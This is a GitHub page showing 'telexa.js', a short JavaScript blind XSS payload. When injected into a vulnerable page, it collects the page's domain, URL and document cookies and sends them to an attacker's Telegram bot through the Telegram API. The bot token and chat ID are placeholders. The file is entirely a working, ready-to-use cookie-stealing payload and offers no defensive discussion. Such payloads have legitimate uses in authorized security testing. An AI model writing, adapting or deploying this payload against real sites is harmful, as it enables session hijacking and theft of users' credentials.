-
Notifications
You must be signed in to change notification settings - Fork 1
/
telexa.js
20 lines (18 loc) · 980 Bytes
/
telexa.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
var tokenBot = '31337317:L3e-7h4x00r_1tsr4md0mbruHhh000'; // Your "tokenBot" Here
var chatId = '31337'; // Your "chatId" Here
/*
_____ _ __ __ ___
|_ _| | | \ \ / / / _ \
| | ___| | ___ \ V / / /_\ \
| |/ _ \ |/ _ \/ \ | _ |
| | __/ | __/ /`\ \| | | |
\_/\___|_|\___\/ \/\_| |_/
---- Telegram Blind XSS Alert ----
*/
function telegramSend(tokenBot, chatId) {
var textData = '<b>XSS+Alert+in+' + document['domain']+'</b>%0d%0a------------------------------------------------%0d%0a%0d%0a<b>-+URL+Target+-</b>%0d%0a<pre>' + document['location']['hostname'] + document['location']['pathname'] + '</pre>%0d%0a%0d%0a<b>-+Document+Cookie+-</b>%0d%0a<pre>' + document['cookie'] + '</pre>';
var xhr = new XMLHttpRequest();
xhr.open('GET', 'https://api.telegram.org/bot' + tokenBot + '/sendMessage?chat_id=' + chatId + '&text=' + textData + '&parse_mode=html', true);
xhr.send();
}
telegramSend(tokenBot, chatId)